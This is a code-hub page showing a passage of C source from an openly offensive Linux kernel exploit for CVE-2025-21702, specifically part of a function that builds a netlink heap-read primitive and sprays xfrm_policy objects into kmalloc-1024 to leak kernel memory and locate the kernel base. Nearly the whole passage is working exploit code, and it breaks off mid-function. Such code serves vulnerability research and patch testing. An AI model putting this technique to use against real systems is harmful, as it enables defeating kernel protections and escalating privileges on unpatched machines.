MCPcopy Create free account
hub / github.com/bsauce/kernel-exploit-factory / find_kernel_base

Function find_kernel_base

CVE-2025-21702/exploit/exploit.c:1474–1581  ·  view source on GitHub ↗

Source from the content-addressed store, hash-verified

1472}
1473
1474u64 find_kernel_base(void)
1475{
1476// 1. prepare heap read data
1477 printf("[1-1] prepare heap read data\n");
1478 struct heap_read_primitive heap_read_primitive = {};
1479 heap_read_primitive_init( // socket(NETLINK_ROUTE) & bind()
1480 &heap_read_primitive,
1481 "rb_tree",
1482 0xAAAA0000, // rb_tree_interface_qdisc_A_handle
1483 0xBBBB0000,
1484 0xCCCC0000,
1485 0xAAAA0000 | 0xAAAA, // rb_tree_interface_classid_A
1486 0xAAAA0000 | 0xBBBB,
1487 0xAAAA0000 | 0xCCCC,
1488 0xAAAA0000 | 0xDDDD,
1489 "keyA",
1490 "keyB",
1491 16,
1492 "keyspray"
1493 );
1494// 2. prepare parameters for spraying `xfrm_policy` in kmalloc-1024 // 用于 OOB read 时泄露 xfrm_policy 结构
1495 printf("[1-2] prepare parameters for spraying `xfrm_policy` in kmalloc-1024\n");
1496 struct xfrm_policy_netlink_params params = {};
1497 inet_pton(AF_INET, "192.168.1.100", &(params.sel.daddr.a4)); // ????? change ?????
1498 inet_pton(AF_INET, "192.168.1.1", &(params.sel.saddr.a4));
1499 params.sel.dport = htobe16(4444);
1500 params.sel.dport_mask = htobe16(0xFFFF);
1501 params.sel.sport = htobe16(3333);
1502 params.sel.sport_mask = htobe16(0xFFFF);
1503 params.sel.family = AF_INET;
1504 params.sel.prefixlen_d = 32;
1505 params.sel.prefixlen_s = 32;
1506 params.sel.proto = IPPROTO_UDP;
1507 params.sel.ifindex = 1234;
1508 params.sel.user = 1234;
1509 params.lft.soft_byte_limit = ~0UL;
1510 params.lft.hard_byte_limit = ~0UL;
1511 params.lft.soft_packet_limit = ~0UL;
1512 params.lft.hard_packet_limit = ~0UL;
1513 params.lft.soft_add_expires_seconds = 0;
1514 params.lft.hard_add_expires_seconds = 0;
1515 params.lft.soft_use_expires_seconds = 0;
1516 params.lft.hard_use_expires_seconds = 0;
1517 params.priority = 0xCAFEBABE;
1518 params.dir = XFRM_POLICY_OUT;
1519 params.action = XFRM_POLICY_BLOCK;
1520 params.xfrm_mark.v = 0xCAFEBABE;
1521 params.xfrm_mark.m = 0xCAFEBABE;
1522 // alloc `xfrm_policy_spray->params`
1523 u32 xfrm_policy_spray_count = 32 * 2; // ????? 32 * 5
1524 struct xfrm_policy_spray xfrm_policy_spray = {};
1525 xfrm_policy_spray_init(&xfrm_policy_spray, xfrm_policy_spray_count); // socket(NETLINK_XFRM)
1526 // init `xfrm_policy_spray->params`
1527 for (u32 i = 0; i < xfrm_policy_spray_count; i++) {
1528 params.if_id = 0xCAFE0000 + i;
1529 params.index = (0xCAFE0000 + (i << 16)) | XFRM_POLICY_OUT;
1530 xfrm_policy_spray_insert_netlink_params(&xfrm_policy_spray, &params);
1531 }

Callers 1

do_exploitFunction · 0.85

Tested by

no test coverage detected